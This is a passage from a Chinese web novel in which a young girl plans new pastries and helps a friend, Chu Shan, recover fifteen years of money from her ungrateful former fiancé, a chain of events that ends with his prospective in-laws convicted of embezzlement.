奶奶会做二十八种点心,他们家已经学了十一种,但按照京城点心内卷程度,顶多再撑两三年时间。 创新,必须创新。 她都能做面了,肯定也能做点心。 苏茵茵回到房间,开始回忆做点心的方子。 按照她这几年的观察,京城百姓口味不一,从咸口到甜口,再到苦味,反正都能接受。 这当然也跟地域有关系,天南海北的官员商人带着家眷过来,自然形成多种口味。 比如说隔壁卖的是山东蘸酱,刚开始来买的,顾客们基本都是山东籍贯,但最近半年,多了不少本地客人。 所以,只要味道好,一定会有欣赏的顾客。 既如此,她也能放开手脚去做了。 总的来说分为两类,中式点心增加品类,后世现代西式点心试试水。 以前者为主,后者为辅。 梳理清楚之后,苏茵茵先定下要做的第一个点心,迷你枣泥酥。 最近正是冬枣成熟的季节,价格便宜易得不说,味道也好。 为何是迷你? 苏茵茵打算做一口一个的小点心,既不沾手,吃起来也更雅致。 按照京城点心内卷程度,这一步总会来的。 那为何又是枣泥酥? 做迷你枣泥酥用到的面粉,必须是高筋面粉,对于现在来说很难获取。 只要枣泥酥能做成,高筋面粉就会是他们店里最大的秘方。 低中高,三种不同的面粉区别,就在于蛋白质含量不一样。 适用的点心也不同。 低筋适合蛋糕,饼干。 中筋适合包子馒头。 高筋则是面包,酥皮等物。 古代多数人接触的,就是中筋面粉,想要做出与众不同糕点,必须掌握调配面粉的方法。 看着都是面粉,真要做出食物,区别可太大了。 苏茵茵准备从高筋面粉开始做,从中筋到高筋比较麻烦,最合适的方法便是用水洗面的高蛋白添加里面。 具体怎么调配,则要自己琢磨。 自从茵茵宝宝上过灶台之后,苏娘子倒是不制止了,可直接说明:“必须在娘亲看着的时候做,不能自己进厨房,知道吗。” 这自然是为了安全考虑。 苏副使日日巡逻,就是为了邻里火灾安全,自家女儿更要叮嘱好了。 茵茵乖乖点头,她知道的! 她要在这个冬天,把迷你枣泥酥做出来! 苏茵茵在家认真做点心,原锐则十几天没过来,他说家中祭祖,前些年都没去,今年在京城肯定不能缺席。 都十一月份了,各家确实需要祭祖。 听说就连帝后太子都出城祭祀,少说也要七八日时间。 李书生跟许小妹也有几日没来,年底两家肯定要走动,不好再出门了。 反而是章公子找来几次,他要跟楚珊姑娘商议账目的事,两人不好单独见面,喊上茵茵是最合适的。 苏茵茵看向他们两个。 虽然不能这样想,可她忍不住啊。 自己那小红娘的名声在,回头这两个要是成一对,那简直可以请帝后太子帮忙上报老天,说她这个小红娘转世成功了! 这当然是玩笑话,苏茵茵肯定愿意帮忙。 一想到魏书生那个负心汉,她就恨不得打他一顿。 茶楼,三个人边吃茶边看账目。 主要是章公子讲解,苏茵茵补充,楚珊姑娘听。 苏茵茵对账目极为敏感,算数又好,指出不少缺漏。 这样一来,只要核对账目,茵茵宝宝必来不可。 三日时间,终于捋清楚其中一部分账目。 十五年的时间,单读书的束脩,就花费了楚家四百四十七两。 各种买书,笔墨纸砚,加上给夫子们的节礼,再记下七百六十两。 吃喝还没算出来。 但按照这个标准,肯定是不低一千两的。 都说官帽下面无穷汉。 孤儿寡母的魏书生能考上举人,有了官身。 全靠楚家。 楚珊眼圈微红,心里烦闷。 她早就应该退亲的,明知道对方看不上她不读书,更知道自己一心错付。 但到如今,也没有什么好说的,她更多还是心疼家里人的付出。 苏茵茵被章公子送回家里,也不知道说什么好。 章公子原本同样要回家,脚步一转又回了茶楼,见楚珊还在原处,踌躇片刻,走上前去:“楚珊姑娘,想哭便哭吧。” “此地是京城,不是家乡,没人会注意的。” 他再也不说自己婚事坎坷了。 十五年的婚事,一朝破灭,眼前人该比他难受千百倍。 相鼠无皮,人而无仪。 人而无仪,不死何为? 魏书生,真该死啊。 第38章 十一月十二,十五年的账目终于理清。 苏茵茵,李锐渊,楚珊,章公子一起在茶楼完成最后的账目。 十五年的时间,就在一张纸上。 楚珊笑不出来,也哭够了。 “去找他,我要把钱要回来。” 南城西城交界处的一处小宅子里,这宅子仅有两间房,魏家母子一人一处。 魏母为了让儿子读书,主动住了小房间,带来的衣裳物件都放不下。 外面大雪纷飞,屋内的炭火不如往年的好,只得把最好的留给儿子,魏母屋内带了些烟气。 但魏母脸上带笑,她刚从娘家亲戚那回来,高兴得不行。 “儿子,这是蒋家从国子监弄来的时文,你多看看。” 魏书生如获至宝,小心翻看。 明年四月就要会试,他一定要考中才成,就算考不中,名次也要提一提,这样方能授官。 只有授官,魏家便能彻底翻身。 最近一段时间,他连家门都没出。 既是专心备考,也是躲祸。 魏书生迟疑片刻:“娘,最近有人找上门吗。” “你是说楚珊吧,她怎么可能找到咱们住哪。”魏母笑话道,“京城那样大,她怕不是会迷路。” “再说了,你让她算清账目再来,她大字不识几个,能算得明白吗。” 魏书生放心了。 楚家确实助他良多,但为了仕途考虑,还是要亏欠对方。 大丈夫不可拘于小节。 母亲娘家姓蒋,算是他的表舅,表舅在京城是从五品的官员。 蒋家子弟不少,可像他这般年纪考上举人的,却没有。 他跟蒋家也算强强互补。 “说得也是,马上腊月,她大概率已经回彬州了。”魏书生又道,“表舅那边知道这事吗。” 魏母摇头:“放心,他们知道你之前定过亲,说不介意这些。” “至于楚珊来京城的事,自然不会告诉他们,知道也没什么,你表舅会帮忙打发的。” 魏书生彻底放下心。 没有什么能阻拦他的仕途。 明年的会试,能考中进士最好,不能考中也会派官离开。 到时候楚珊去哪里找他。 说起来,还是表舅好,给他们母子安排的住处,就在蒋家附近,位置还这般好。 就连新出的时文也不吝啬。 汴京,果然不一样啊。 以后他要是成了汴京人,岂不是更得意,谁还要回彬州。 “开门!” “姓魏的,开门!” 借住的小院大门被拍得做响,喊话的人声音有些尖锐,听得让人心里猛地一惊。 谁在敲门? 仆从郭展拿出宫中太监的气势,把门拍得做响。 门口站着的苏茵茵听着,总觉得郭展声音有些奇怪? 平日说话还好,此刻大声叫门,怎么像电视剧里太监的声音? 苏茵茵赶紧摇头,不能这样想,郭展哥平时对她那么好,怎么可以这么想啊。 反而跟过来的李云敬李书生皱眉。 他到底见多识广,下意识看了眼原锐,若郭展真是小太监,这位呢? 李锐渊抬头看了眼李书生,并不回答。 其他人则在跟着喊门。 许小妹,章公子,还有楚珊,一起喊着让姓魏的开门。 这周围多住汴京微末小官,多少有些体面,有些人家还开门来看。 大冷天的,这是在干什么啊。 蒋家同样出来人,谁在喊未来姑爷? “你是什么人?对举人老爷家这样不客气?!”魏母开门便骂,明显对楚珊说的。 李云敬嗤笑:“谁还不是个举人了。” 章公子微微点头:“举人而已,京城遍地都是。” 好好好,你们两个好会装。 苏茵茵低声对李锐渊道:“以后你也考个举人,我哥也考一个。” 按照两人的才华,考举人肯定不是问题! 李锐渊嘴角弯了弯,小宝宝信任他是好事,可他是考不成的。 苏茵茵举起小手:“对啊,遍地都是,何故拿来炫耀。” 旁人说这些话,或许会招恨,但这样可爱的小宝宝发言,众人忍不住笑。 说的也没错,这附近住的虽然都是小官,可哪家没个举人了。 “就算是举人,也应该欠债还钱,天经地义!” 欠债还钱,天经地义。 这绝对没错。 这家举人欠钱了啊。 不应当啊,有了官身,便是再穷的书生也不会欠钱吧。 魏举人脸色难看地看向外面,给母亲使眼色,让他们进门说。 此话要传出去,他的名声就完了。 对选官很是不利。 蒋家那边的仆从皱眉听着,赶紧跑进院子,要把这是告诉主君主母。 苏茵茵他们进了魏家母子住的宅子,楚珊皱眉:“这么小的地方。” 她家开镖局的,别的不说,宅院极为宽敞,颇有些不适应这么狭小的宅院。 她还以为汴京多好呢,就住这房子? 楚珊懒得再说,把整理好的账目拿出来:“是非曲折,你们俩心里有数。” “旁的不必说了,把这些银钱还了再说。” 十五年的账目,已经是厚厚一本。 从读书的束脩,再到文房四宝,衣食住行。 一切的一切,都在这本账目上。 章公子最是了解,每年这个时节,楚珊姑娘都会挑最好的炭火送过去,还会请人检查窗户屋顶,确保房子温暖舒适。 再加上四时八节的衣裳,他们走亲戚的节礼,以及魏母的医药。 章公子可以确定,没有楚珊姑娘的帮忙,眼前这人,绝对考不上功名。 他甚至能从账册看出许多细节。 最开始的一两年里,楚珊姑娘也有疏漏,可她在一点点的努力,一点点进步。 终于形成事无巨细的账册。 这根本不是账本,是楚珊姑娘这么多年的付出。 而沉溺于这样付出的魏书生,根本不知道做到这些有多难。 章公子看着账本,都觉得极为沉重。 “这怎么可能!”魏母直接道,“哪有那样多的账目,该不会是你胡乱编造的吧。” 魏书生胡乱翻着,想找出漏洞,更想找到他没用过的东西,翻了几十页后,在束脩上点了点:“是你家一定要去这样贵的私塾,若我自己寻夫子,才不会去。” 这说的是人话吗。 苏茵茵震惊。 她哥哥也读书,她自然知道私塾与私塾之间的不同。 就说如今的进士夫子,价格就跟之前秀才夫子高出不少。 但人家本事也是真厉害,所以即使进士夫子性格颇有些问题,哥哥也是愿意继续读的。 读书嘛,学的就是读书的本事。 “你在说什么,若无这样好的夫子,你能考上举人吗?”苏茵茵直言不讳,“别说举人了,你能考上秀才吗?!” “怎么不能,我儿子是天纵奇才!”魏母毫不示弱。 天纵奇才,就连魏书生本人都不敢这样说,但此刻讲出来,颇带了气势。 楚珊一直不擅长跟他们争执,此刻也一样,苏茵茵却直接拉着章公子道:“那他在彬州考了多少名?文章写的怎么样?” “章公子可是京城乡试二甲二十七名!” 也就是第二十七位。 还是在人才辈出的汴京。 魏书生涨红了脸,根本不敢接话。 他在彬州乡试为三甲一百多名,根本没法比。 苏茵茵没想到,都不用李云敬出场,就把对方秒杀了? 章公子顺势点头:“倒也不是我有多厉害,若无家中聘请夫子,暖衣足食,不吝笔墨,绝无如今的功名。” 都是新晋举人,两人气度简直天差地别。 章公子的意思就是,我名次比你高,天资比你好,都是靠家里,你呢? 说靠自己能力读书的,绝对是给脸上贴金。 楚珊也开口了:“若你们不还钱,我就在汴京衙门告你们,到时候会试都别想考。” 不让考会试? 这种威胁简单有效,确实能让魏家母子担忧。 “说到底是你家愿意花的,跟我家没关系,若是想让我们还钱,拿出借条来。” 魏母叉腰冷笑。 让他们还钱,不可能。 银钱少也就算了。 可他们心知肚明,这些年花了楚家不少银子。 “告啊,有本事你们就告!” 这也是事情最难办的。 确实没有字据,也没有借条。 全凭两家亲家关系,所以楚家多年来付出。 若真的告到衙门,先不说已经是民告官了。 再者,谁知道会拖多久,又有谁知道蒋家会不会出手。 章公子淡淡道:“真要告到衙门,蒋家头一个跟你们撇清关系。” “御史台不参他蒋家,那御史台也不必做了。” “如此忘恩负义的名声,以后仕途不要再想。” “楚珊姑娘,御史台应该刚刚散朝,不若我们去那边问问,听闻几位大人仗义执言,前几日还参了东昌府一家死守贞节牌坊,不让儿媳改嫁的恶习。” “想必他们知道此事,必然会上报皇上皇后。”章公子拱手朝皇宫方向,“皇上皇后宽仁大义,一定不会坐视不管。” 许小妹点头。 东昌府的事,还是李书生告诉他的。 就是她原本要嫁的那家。 前段时间御史狠狠参奏一本,说这家死守陈规,不仅让女子冲喜,还不允许她改嫁,更不允她们归娘家,实在有违人性,实属腐虫一般。 皇上皇后也觉不妥,下令命那家速速改正,救了那家好几个守寡被刁难的女子。 倘若帝后得知此事,也会斥责魏家母子不仁不义。 李云敬跟了句:“哎,到时候别说做官了,只怕还要被夺官身吧。” 不能做官,还要被夺官身,更要去御史台参奏,直接拿捏魏家母子的命脉。 苏茵茵赶紧把账目递过去:“确认无误,赶紧给钱吧,否则我们现在去就御史台。” 李锐渊等人状做要走,那魏书生着急万分,只好从老母身后跳出来:“别去!千万别去!” 说完,魏书生咬牙道:“我不是不愿意给钱,你们要给我时间啊。” “猛然拿出这么多钱,我家实在没有。” 苏茵茵默默吐槽:“你根本没看最后的金额,怎么知道拿不出来。” “看来你知道你们两人到底吃了多少的软饭。” 魏书生脸颊涨红,再也不能揣着明白装糊涂,不过他还是看了眼账册最后一页。 两千四百二十一两。 这样多?! 魏书生继续翻账本,无论哪一笔,都是明明白白,确实发生过。 十五年的时间,花了这么多钱,还有那么多的事。 “可我现在没有,楚珊你再等等行吗,等到我考完会试,不管考没考上都会派官。”魏书生确实没钱,一个劲求饶,“等我当了官,一定会有的。” 按照计划,楚珊先不说话,其他人自然不允。 等魏书生继续求饶,楚珊才道:“那先签字,承认你欠了钱。” 先把这件事坐实了再说。 省得对方反悔。 还要趁着蒋家没来之前签字。 苏茵茵听着外面的声音,直接把笔递过去。 旁边的郭展笑眯眯道:“赶紧签了吧,你以为这些人好惹的,两个京城的举人,整你跟玩一样。” 苏茵茵摸摸胳膊。 怎么回事,郭展平时不这样啊。 几个人连哄带吓,魏书生终于落笔,承认自己欠了楚家这么多银钱。 等苏茵茵收起账本,大门又被敲响。 进来的正是蒋家主母,她身形精瘦,眼神带着不高兴,看到魏举人时候,更是没个好脸:“难道是你彬州亲朋来了?” “过来打秋风?” 刚进门便这样说,明摆着打压一群人的气焰。 可在场众人都不理她,而且她打压的手段完全没用,谁让魏书生已经签了字,承认自己欠钱。 蒋夫人指着魏家母子,就差直接骂出口了。 便是吃了占了楚家的,那又怎么样,并无证据。 这下好了,你们把证据递到人家手里。 什么威胁刁难,怕什么啊? 两个举人而已,难道还真能告到衙门,告到御史台?! 魏书生被一阵骂,终于知道自己做了什么蠢事,明显想去抢账册。 李锐渊在这,他身后的仆从可不是吃素的,根本不给机会。 眼看闹成一团,楚珊终于开口:“明日我会过来,找你要钱。” 两千四百二十一两。 一分也不能少。 “多少钱?!”蒋夫人震惊,“多少?!” 纵然她家是京官,也觉得这银子极多。 魏举人竟然签了这么大的欠条?!他蠢吗。 现在说这个已经完全无用。 蒋夫人嘴唇颤抖,已经在审视跟魏举人的婚事。 当举人就没有特别穷的,肉眼可见的前途无量,所以这门婚事她觉得不错。 但还未成亲,便欠债这样多的,还是头一回见。 苏茵茵他们拿到想要的东西,直接离开,并且最后重申,明日就要。 什么会试之后再给,想什么呢,谁让你拖延四个月。 出了院门,楚珊才问出心中疑惑:“他肯定拿不出来,为何一定现在就要。” 这主意是苏茵茵他们出的,楚珊并不理解,她想着多打几顿,能要多少是多少,甚至做好长期要债的准备。 苏茵茵还在偷偷看郭展,心里有很多疑惑。 那边章公子解释道:“他拿不出,他未来岳家或许可以。” “魏书生未来岳家明知道他定过亲,还要写信询问,就要承担这样的后果。” 用现代的话来说,那就是知三当三。 知道人家有未婚妻,还要上赶着介绍自己女儿。 他家也不是什么好东西。 所以章公子他们的计划里,就包含了报复蒋家。 李云敬偷偷给章公子竖了个大拇指,低声跟自己未来媳妇儿道:“你还说他是端方君子,这哪里端方了,心眼小着呢。” 许小妹瞪他,不要这么说人。 章公子哪能听不到,轻咳道:“他们既然选择到利益共同体,就不要想着躲开。” 原来是这样。 楚珊心里觉得畅快不少。 这些事憋在心里,她总找不到解法,总以为打姓魏的一顿就会好受点。 现在这两家一起着急筹钱,好像才痛快。 李锐渊看了看他们,开口道:“蒋家可有其他产业。” 不知道啊。 他们都没查过。 李锐渊又道:“以蒋家从五品的官职,若能一夜之间凑到两千多两,是真的可以参奏了。” 最近跟着父皇母后看奏章的他,对各级官员俸禄了如指掌。 就算对有家底的官员来说,一夜之间凑这么多钱,都不容易。 何况蒋家,眼看魏母不像有文化的,她的娘家又会有多少家资。 众人倒吸一口凉气。 别看原锐年纪小,他提的问题,甚至超过大家的认知。 直接从贪污查起?! 若此事坐实,蒋家,以及跟蒋家有婚约的魏举人,两家可以打包流放了。 开春之后,流放犯人就要启程。 他们说不定能赶上第一拨? 别说会试了,先考虑流放之后的日子吧。 苏茵茵方才还在感慨郭展的厉害,此刻又被李锐渊震惊。 他们两个,到底谁才是穿越的?! 是谁不重要。 重要的是,蒋家能拿出这么多银子吗。 若能拿出来,会给姓魏的平事吗。 当天晚上,魏举人在蒋家主君书房待了许久,里面还有蒋家两个儿子。 蒋大人不好直接骂魏举人,只骂自己两个儿子。 如果你们能考上功名,他还需要找个会读书的女婿吗? 平日都是怎么做事,什么账本都敢签。 胆子那样小,以后怎么做官。 谁来吓唬一下,便立刻求饶,以后也是个窝囊废。 前面还是骂儿子,后面便是指桑骂槐。 蒋家两个儿子看向魏举人时面带恨意。 乡下来的蠢货,惹这么大麻烦。 若早点说,他们早就把什么楚珊赶出京城了,还轮得到她找人鸣不平。 老家那点破事都处理不好,还举人呢,有什么用。 等魏书生离开,蒋大人也没说给不给他掏钱,蒋家俩孩子道:“爹,何必花钱平事,这举人又不光他一个。” “是啊,两千多银子,太多了。” “若你们能考中举人,我还会找他吗?” “若能外放当官,两千两多吗?” 便是捞钱,也是有门槛的。 如今吏部甚严,既不能捐官,也不能送礼。 只能正儿八经的考试。 他家又没什么底蕴,这才从族中找会读书的子弟。 魏母姓蒋,是自家人,魏举人又没父亲,便是发迹了也只能靠他。 怎么看都是个好选择。 所以知道他有婚事,蒋家夫妇也没放在心上,知道他会做正确选择。 谁想到,那尾巴没处理干净,还找到京城。 更没想到,蠢货竟然还签下账本,都没讨价还价。 此时轮到蒋大人做选择。 两千四百二十一两给出去,那以后魏举人的前途也算买下。 可这种忘恩负义之人,真会记这个恩情吗? 要是不给,那这婚事肯定要拒了,否则影响官声,最近这些年不同往常,官声很重要。 给,还是不给。 蒋大人知道儿子们给不了主意,让他们赶紧滚蛋,自己去找夫人。 第二日早上,一夜未睡的魏举人再次被喊到蒋家。 这次等着他的,又是一张借据。 借据上的金额为一万两。 一万两?! 魏举人手抖了,下意识拒绝。 这是什么意思?! 让他签字,蒋家给他一万两银子?! 魏举人甚至有点心动,他还没见过那么多钱。 蒋夫人嗤笑:“做什么春秋大梦,以为我们是那心软的楚家,让你白吃白喝十五年,还不欠借据?” 蒋大人装好人道:“别说了,孩子也不容易,都是自家人不要说两家话。” “怎么?你都要帮他还债,难道还不准我说?”蒋夫人说出目的,“你签下这张借据,蒋家便把钱借给你,让你打发掉楚家,我还把女儿嫁给你。” “若不签,那咱们一拍两散,你继续考你的会试,我继续给我女儿寻好人家,未订过婚的人家。” “便是借据,也该是两千四百二十一两。”魏举人坐立不安,“怎么会是一万两?!” 蒋大人不说话,还是蒋夫人冷声道:“不然呢?这么多银子,难道不要利息。” “而且你能背叛楚家,难道就不会背叛蒋家,我就是怕你对我女儿不好,也怕你不还蒋家的恩情。不如白纸黑字写上去,咱们双方都有个保障。” “我家给你时文,年后还给你寻夫子,寻好书,会试之前吃喝拉撒我家包办,不能让我们白出力吧。” 说白了,蒋家也怕这位再次忘恩负义,提前写下借据,不能全凭对方良心。 魏举人嘴唇颤抖,他根本不知道说什么。 可他也辩解不成,毕竟他之前做的事,大家都知道,最后只道:“一万两,我如何还得清,这肯定不成。” “三年穷知县,十万雪花银。” “你以后是当官的,外放的,这点对你来说,并不难。” 不难吗。 魏举人虽听过这句俗语,但一直没有真实感。 只见蒋大人微微点头:“十多年前本官外放时,倒是有所耳闻。” 当真? 魏举人呼吸急促。 蒋大人还道:“放心,以后你是我女婿,算是半个儿,怎么会坑骗于你。” “这样写,不过对双方有个保障。” “两千两银子,岳父我已经准备好了。” 蒋夫人打开盒子,白花花的银子就在其中。 “签吧,签了便能解决眼前的麻烦。”蒋夫人继续道,“以后何尝挣不到呢。” “是啊签下后,便能安心备考会试了。”蒋大人摸摸胡子,笑着道。 两千四百二十一两白银。 只要签下眼前一万两的借据,他就能拿到这些银子,还给疯婆子楚珊。 会试再无忧愁,还能跟蒋家走得更近。 魏举人忽然想到蒋大人说过要讨价还价。 “一万两太多了,岳父岳母,五千两,五千两的借据如何?” “八千两,不能再少了。”蒋夫人把崭新的借据跟笔墨放在魏书生面前。 “签吧,签了就行。” 第39章 魏书生并未签下借据。 他实在是怕了,几乎仓皇逃窜。 可他从蒋家离开,甚至不知道去哪。 如今的住处,也是蒋家的宅子。 倘若他不还楚珊的钱,肯定会影响蒋家名声,那婚事也不要想了。 不仅如此,肯定会被蒋家赶出家门。 他家,他家可不像楚家那般和善。 楚家虽是开镖局的,平日粗鲁,对读书人倒是客气。 一时间,魏书生竟然有些后悔。 如果他不跟楚家退婚,娶了那个大字不识几个的楚珊也挺好。 至少不用还钱,还不用在蒋家寄人篱下。 他之前花楚家的银钱,可从未受过委屈。 魏书生越想越后悔,恨不得时间倒流,让自己回到当初那会。 他现在回头,或许还来得及? 要不然他去求求楚珊,她面硬心软,好好求求她,说不定这事就过去了。 自己还让楚珊当举人娘子,不管什么蒋家,想来蒋家没什么损失,也不会追着不放。 魏书生越想越心动。 他要挽回楚珊,就算她不通文墨,自己也不嫌弃了。 楚家门第虽然不如蒋家,可至少不会那样对自己。 想到楚珊的住处,魏书生径直往客栈方向跑。 南城客栈,楚珊正在后院喂马。 一会大家会过来,然后去讨要银钱。 想来银子到手,她就能回彬州了。 爹娘哥哥弟弟们肯定担心她,还是早点回去的好。 至于其他人笑话,也不是什么大事。 这又不是她的错。 “楚珊!”魏书生小跑过来,下意识想拉楚珊的手。 两人未婚夫妻多年,手还是拉过的。 楚珊皱眉看向他,以前只觉得读书人有骨气,现在看他满脸愁容,又带着哀求,总觉得怪异。 “你是在埋怨我吗。”魏书生面容哀求,字字恳求,“对不起楚珊,我真的知道错了,当时鬼迷心窍,听了母亲的话,来京城投奔表舅。” 想着表舅是自家亲戚,肯定会帮他许多。 表妹还是京城女子,定然更加温柔贤淑。 谁料京城的人竟然这样,根本不给他商讨的机会。 魏书生想着,语气明显更诚恳,还道:“我这样说,并非要推脱还钱,只是想明白,还是想你成亲。” “等我做官之后,银钱肯定一分不少的还给你们家。我现在,我现在就是想挽回你。” 意思就是,钱他一定会还的,还想继续履行婚约。 “这样的话,楚家也不会在彬州被人议论,我们还能回到从前。”魏书生说的动情,还想去拉楚珊的手。 这些话听在楚珊耳朵里,颇有些不可思议。 姓魏的一声不吭离开,让楚家早就成为笑柄,现在又言辞恳切求饶,还说要还钱。 他到底怎么想的。 “原来你也知道,你如此行事,会让楚家被议论。”楚珊缓缓道,“你都知道。” “所以我要弥补啊。”魏书生说着哭起来,“咱们回到从前吧,好不好。” 后院门口的苏茵茵等人停住脚步面面相觑。 许小妹有心上前,被李云敬直接拦下,轻轻摇头。 苏茵茵下意识看向章公子,见他皱着眉,也没有上前的意思。 确实不好上前。 无论怎么选择,都是楚珊姐姐的决定。 十五年的时间,并非简简单单一句话便能揭过。 十五年的日日夜夜,十五年未婚夫妇的身份。 这不仅是感情问题,甚至是时间跟生命的纠葛。 人生又有多少个十五年。 再说还有楚家在彬州的名声。 若魏书生回头,他家里子面子都能保得住。 而且举人的身份,确实不同。 只要搭上这个举人女婿,楚家的生意都会更好做。 再说了,还有楚珊姐姐的感情。 如何选,只有她说了算。 即便楚珊姐姐选择原谅,他们也不能说什么,不是局中人,没有帮忙做选择的权力。 章公子手指攥得很紧,他很少会恐慌,此刻却有些说不清。 但他脚步坚定,还想带着大家离开,偷听不是君子所为。 “不好。” 楚珊眼泪掉下,随后又抹了去,谈起另一件事:“以前我总觉得,甚至我家觉得,你们读书人对我家看不起很正常。” “毕竟你说过,万般皆下品,惟有读书高。” “但我最近接触了些读书人,他们也读书,他们也考功名,却不会对我看不起。” “识字也好,不识字也好,跟交际一点关系都没有。” “你只是足够幸运,有一个读书人父亲,有我家帮忙,这才成为读书人,而并非你真的身份高贵品德高尚。”楚珊把心中的郁结一口气说出来,“我厌恶你,并非你花了我家的银钱。” “我实在厌恶你仗着读书人的身份,欺辱我家,抛弃我家,好像楚家在你们读书人眼里一文不值。” “我大字不识,就应该被你看不起。” “不是这样的,我家自己挣钱,自己押镖,比你强多了。” “现在,你还想用读书人身份来哄我原谅,那之前我家受到的羞辱算什么?你这个有官身的人,打了我家一巴掌,现在要补偿,我们家还要感恩戴德的原谅?” “我楚珊现在不会,以后也不会。” 魏书生听着楚珊的话,简直不肯相信自己的耳朵。 他都愿意回头了,还愿意还钱。 怎么就不同意。 他可是举人! 是举人! 只要有他做女婿,楚家会更好啊,那些委屈都会转而夸赞。 怎么就不行了。 “宁直见伐,无为曲全。” 刚正不阿宁愿被杀戮,也不愿意委曲求全。 章公子这句话,说得就是楚珊。 许小妹眼睛放光,她读了那样多的书,却第一次知道什么是真君子。 真君子,便是大字不识几个的楚珊姑娘。 识字与否,学问高低,跟是不是君子,完全两回事。 楚珊回头看向章公子,下意识道:“什么意思?” 她不知道什么意思,魏书生却明白,所以他受到的打击更大。 眼看他还想再辩解几句,讲什么利益什么得失什么成败什么求全。 可在不读圣贤书的楚珊面前自惭形秽。 魏书生踉踉跄跄离开,此刻书读得多了,反而不好,别人几个字都能把他骂的丢盔弃甲。 外面下着漫天大雪,让他冻得直哆嗦,大雪天的,魏书生没地方去,只好回到住处。 而这里已经站了几个人。 楚珊还没来,看来经过酒楼后院那番谈话,证明他们已经不来了。 直接派了一群身强力壮的家丁过来,目的只有一个,要钱。 楚珊的想法已经改变。 之前要钱,那是只能要钱,如今却是只想要钱。 跟这样的人,已经没什么好说的了。 可魏书生哪有钱啊。 他身上仅剩的几十两银子,还是他考上举人之后,楚家给的。 一群壮汉围在院子外面,把魏书生老母亲吓得够呛,甚至还想报官。 可报官有什么用,他已经签了账本,代表自己认账。 欠债还钱的事,还能有什么办法。 此事还不能让太多人知道,否则魏书生的日子会更惨。 一日下来,魏书生颤颤巍巍敲响蒋家的门,从蒋家借到两千四百两银子,零头二十一两需要他自己添补。 至于借据上,自然是八千两白银,需要三年内还清,否则还会有利息。 蒋夫人还说,原本是没利息的,谁让他犹豫一整天。 两千四百两变成八千两。 以后还有利息。 仔细算下来,其实比之前一万两银子的借据还要黑。 可他又有什么办法,除了签下契约,一点想法都没有。 等魏母上门再谈婚事时,结亲的对象竟然也换了。 经过这事,她才不会把自己亲生女儿嫁给魏书生,肯定要换个妾生庶女去嫁。 魏书生气得眼睛直瞪,但也没有办法。 一圈折腾下来,他已经被绑死在蒋家的船上。 十一月十四,楚珊把两千多两银子换成银票,贴身放好。 此事终于了解,她长达十五年的婚事以后不必再提。 “多谢各位,以后便是我楚珊的朋友,若有什么需要帮忙的,尽管开口。”楚珊依旧穿着粗布衣裳,朝大家拱手。 苏茵茵道:“楚珊姐姐,你这就要回彬州了吗。” “嗯,回去至少要一个月,我早点启程的好。”楚珊接着道,“我家跟京城有家镖局交情不错,正好跟着他们回彬州,路上也安全。” 楚珊说来就来,说走就走,确实是她的性格。 大家知道,也无意多拦。 毕竟马上过年,再不回去,天气也冷,年也回不去。 章公子踌躇片刻,刚想说什么,就听远处有人道:“楚珊,楚珊你爹娘弟弟来了!” 爹娘跟弟弟? 楚珊赶紧过去,那真是她家在京城的镖局朋友。 说话间,众人跟了过去。 苏茵茵眼看着风尘仆仆的楚家人眼里含泪,明显是追楚珊姐姐过来。 “人没事就好,咱们不跟官斗,不过是银钱面子的事,算了。” “是啊,自从你离家,家里就担心得很。索性让你哥嫂操持家事,我们押着镖正好过来。” “姐,那姓魏的在哪,我一定要打他一顿。” 章公子长舒口气,为楚珊姑娘感到高兴。 她家人找过来,也是为她撑腰。 “放心,钱我已经要回来了,没吃亏,还打了他好几顿呢。” “我本来就打算回家的。” 苏茵茵却下意识看他。 嗯,还是不说了吧。 许小妹跟李云敬是过来人,他们也不知道该不该说。 楚珊那边已经准备好,原本就要回家,现在爹娘弟弟都来接了,肯定更要回了。 等家人休整两三天,她跟着自家车里回彬州,回老家! 再也不来京城了! 家人来了之后,楚珊神情都变得不同,显然更像在家里一样,神情飞扬,肆意自在。 她老弟还摸黑又去打了姓魏的一顿,再次出口恶气。 就在她家休整的时候,另一件事让所有人都猝不及防。 苏茵茵在店里听到这个消息时候,整个人都傻眼了。 “蒋家因为贪污!被抓了!” “十多年前的账本被翻出来,都是蒋大人在地方贪污的记录!” 苏茵茵脑子里闪过原锐的那句话。 蒋家若无田产铺面其他营生,不可能给出那么多银子。 若给了,那必然贪污受贿。 这,这真让原锐说对了?! 最近几天里,大家只顾着为讨来银钱开心,又为楚珊姐姐要走难过,竟然把这事给忘了! 更让苏茵茵没想到的是,此事还真跟楚珊姐姐有关。 南城衙门甚至找到他们,询问他们是不是收到一笔欠款,从那笔欠款,顺藤摸瓜找到蒋大人外放时候贪污证据。 不过这钱,衙门并未没收。 因为他们查证后发现,此事还有个魏举人,是魏举人在蒋家签了高利贷。 楚家在这里面,就是正常讨债的。 其中缺漏亏空,只跟魏举人有关。 调查此案时还发现,魏举人已经跟蒋家达成协议,确保外放之后贪污的银钱还给蒋家云云。 此案一出,满京城哗然。 魏举人还没当官呢,就想着贪污了?! 还要在三年内还清八千两,一年至少贪两三千白银? 这还是人? 还有他未来岳家,蒋大人外放的时候,贪得更不少,否则不会出这样的坏主意。 苏茵茵听李书生他们说,好像查出来当年战乱让各地出粮草,蒋大人借机敛财,隐下大笔银钱。 调到京城之后才收敛。 可他家大手大脚惯了,又不会做买卖,所以想找个可靠的人继续外放赚钱。 这才找到魏书生。 总之一查到底,蒋家基本是流放的命。 魏书生原本牵连不深,但此时惹的朝野震怒。 刚考上举人,还没考会试呢,就要做官贪污,如果真的轻轻放过,那明年会试的考生,肯定会有样学样。 这种案子,必须杀鸡儆猴才行。 魏书生不仅要被夺了官身,还要打板子流放,让天下学子都看看,为官不正的后果是什么。 “还没当官就想着贪钱,如果真让他当官了,那还了得?” “就是,这种人砍头都不为过。” “实在是可恶,这种人还读圣贤书呢!” “听说了吗,听魏书生同乡说,他在老家有桩婚事,自幼定下的,读书的钱都是那家出的。” “那他怎么还是蒋家的未来女婿?” “还能为什么,一朝考上举人,自然不要旧人了。” “天啊,这个人不仅心思歹毒,还忘恩负义,实在不是好东西。” “这人也是,他要是好好报答之前的未婚妻一家,怎么会被这种事牵连。” 众人感慨之余,也觉得魏书生之前的未婚妻一家有福气,阴差阳错躲过这样恶毒的人。 如果两家结亲,按照魏书生的人品,以后肯定贪污受贿,到时候必然连累全家。 那家女子还真是有福之女啊。 还在京城的楚家人挠挠头。 好像真是这么回事! 他家不仅要回多年的银钱,还避开了祸事,跟这种人结亲,到时候全家遭殃。 